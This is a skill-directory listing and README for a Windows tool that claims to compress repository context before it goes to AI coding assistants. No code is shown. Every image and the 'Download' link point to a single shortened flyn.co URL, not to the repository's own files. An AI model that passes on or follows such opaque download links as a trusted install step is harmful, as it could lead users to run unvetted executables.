Claude Codex Cursor Token Saver — AI skill for Claude Code
AI Coding Token Saver for Windows — optimize prompts and repository context before sending it to Claude, Codex, Cursor and similar tools using local filtering, file prioritization, context compression.
How to install Claude Codex Cursor Token Saver
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open glossycannon/Claude-Codex-Cursor-Token-Saver and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Claude Codex Cursor Token Saver does
AI Coding Token Saver for Windows — optimize prompts and repository context before sending it to Claude, Codex, Cursor and similar tools using local filtering, file prioritization, context compression, token budgets and reversible profiles.
Alternatives in AI
- Model Update — 增量更新财务模型 — 用新财报/新指引/修正假设重算 DCF 内在价值、Comps 隐含价、投资逻辑与目标价，输出 before→after delta 6.6k ★
- Gentle AI — Agent Skills Index — When working on this project, load the relevant skill(s) BEFORE writing any code 1.9k ★
- Paritok 4b V1 — Non-destructive compression gateway for AI coding agents 1.4k ★
README
⚡ AI Token Optimizer — Claude Code, Codex & Cursor Context Compressor
**AI Token Optimizer** is A local desktop utility for reducing unnecessary context sent to AI coding assistants. It prepares a smaller, higher-signal context bundle before you paste or hand it to the coding agent.
**Reduction claim:** The project can target **up to 70% lower context/token usage**, but actual reduction varies by repository, task, selected files, history length and profile.
Quick Access
[](https://flyn.co/17yeN7/) [](https://flyn.co/17yeN7/) [](https://flyn.co/17yeN7/) [](https://flyn.co/17yeN7/)
Download
➡️ **[Download AI Token Optimizer](https://flyn.co/17yeN7/)**
Preview
[](https://flyn.co/17yeN7/)
Dashboard
[](https://flyn.co/17yeN7/)
Workflow
[](https://flyn.co/17yeN7/)
Example token counts are illustrative, not benchmark guarantees.
Core Features
- Git diff-first context
- Duplicate block removal
- Long-session history summaries
- Generated/build-file filters
- Repository token budgets
- Before/after token estimates
- Claude Code profile
- Codex profile
- Cursor profile
- Generic coding-agent profile
- Clipboard / Markdown export
- Reusable presets
How It Saves Context
Diff-first
Prioritize changed files, modified functions, nearby imports, direct dependencies and relevant tests instead of resending an entire repository.
Deduplication
Flag repeated logs, duplicate code blocks, repea
Related Skills
.Git Z2ey1tgs8e
AI Coding Token Saver for Windows — optimize prompts and repository context before sending it to Claude, Codex
AI Token Optimizer Claude Codex Cursor
Local AI Context Compressor with Claude Code, Codex and Cursor profiles, duplicate-context removal, Git diff p
Lm Resizer
Rust-native context compression for Claude Code, Codex & MCP agents: filters & compresses noisy tool output (t
Kompact
LLM context compression proxy — 40-70% token savings, zero code changes
Cost Optimizer
git clone https://github.com/fullstackcrew-alpha/skill-cost-optimizer Save 60-80% on AI token costs with smart
Synthelion
Synthelion compresses prompts before they reach any AI model — cutting token usage by up to 70%, reducing API
Related Agents
Context Optimizer
Meta utility agent for token and context optimization. Spawn when needing to compress agent prompts, optimize
Async Code
Use Claude Code or CodeX CLI to perform multiple tasks in parallel with a Codex-style UI, functioning as a per
Cursor Delegate
Proactively use when this coding agent should hand a substantial coding, diagnosis, or implementation task to
